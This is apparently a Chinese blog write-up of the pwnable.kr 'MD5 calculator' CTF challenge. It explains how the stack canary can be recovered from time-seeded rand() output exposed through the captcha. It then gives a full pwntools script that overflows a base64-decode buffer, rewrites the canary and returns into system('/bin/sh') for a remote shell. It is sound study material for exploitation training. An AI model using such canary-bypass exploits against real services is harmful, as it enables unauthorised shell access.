stack canary之pwnbale.kr MD5 calculator
We made a simple MD5 calculator as a network service.
Find a bug and exploit it to get a shell.
Download : http://pwnable.kr/bin/hash
hint : this service shares the same machine with pwnable.kr web service
Running at : nc pwnable.kr 9002
程序的执行:
main函数反汇编
上图中的地10行相当于获取当前的时间戳,并把它赋值给v3。第11行中把v3作为参数(随机数种子)传入到srand函数中,那么随后的调用rand函数的操作,都将会根据这个设置好了的随机数种子产生随机数。需要注意的是,一旦传入到srand函数中相同的seed,那么后续多次调用rand函数的时候,产生的随机数序列是相同的。
my_hash()函数反汇编
如上图,总共调用了8次rand函数。并且把他们保存在了栈中以v2作为起始地址的地方。这样以来,只要使用相同的时间戳作为随机数种子传入到srand函数中。那么就可以反推出v10的值。我们知道,main函数和其调用的子函数通过执行_readgsdword产生的canary是相同的。虽然canary是会经常发生变动的。
下面,可以重点分析一下process_hash函数
程序中总共有两个要求我们输入的地方。第一个地方在输入captcha,第二个地方输入的是经过base64编码之后的字符串。从上图第15行可知,程序会解码之后保存在栈中的那个被分配了512字节的地方。由于全局变量g_buf总共有1024字节,也就是说,结果base64编码之后的字符串的最大长度是1024。那么假设一个字符串长度为len,记过base64编码之后生成的字符串的长度为len/3*4。所以在结果base64编码之前,也就是说理论上我们可以输入到栈中的大小是:1024/4*3=768字节。因为栈中保存的是解码之后的,也就是相当于编码之前的字符串。所以我们可以进行栈泄露。但是由于存在canary保护,所以我们需要找到canary的具体值,然后在payload中的对应位置想入相同的canary,那么就可以骗过stack canary机制。
所以,构造的payload为:
payload = 'A'.encode('ascii') * 512 + p32(canary) + 'A'.encode('ascii') * 12 + p32(plt_system) + p32(0x0000000) + p32(0x0804B0E0 + 720) # 总共540个字节
其中0x0804B0E0是全局变量g_buf的地址。由于payload为540字节。540/3*4=720.所以字符串"/bin/sh\0"要存放与0x0804B0E0的地方。后面会作为system的参数被传入到system中。
from zio3 import p32
from pwn import *
# elf = ELF('./hash')
# plt_system = elf.plt['system']
plt_system = 0x08048880
p = remote('pwnable.kr',9002)
# p = process('./hash')
t = int(time.time())
print(p.recvline())
temp_recv = p.recvline()
print(temp_recv)
capcha = re.search(': [^\n]+', temp_recv.decode('ascii')).group(0)[2:]
print('capcha = ',capcha)
p.sendline(capcha)
print('output:',p.recvline())
print(p.recvline())
canary = '0x' + os.popen('./canary {} {}'.format(str(t), capcha)).read() # canary是一个C语言可执行程序
print('canary:',canary)
canary = int(canary, 16) # 十六进制的字符串转换为十进制的数字
payload = 'A'.encode('ascii') * 512 + p32(canary) + 'A'.encode('ascii') * 12 + p32(plt_system) + p32(0x0000000) + p32(0x0804B0E0 + 720) # 总共540个字节
print(len(b64e(payload)))
print(b64e(payload)+'/bin/sh\0')
p.sendline(b64e(payload) + '/bin/sh\0')
p.interactive()
本文地址:https://blog.csdn.net/jiuweideqixu/article/details/108240109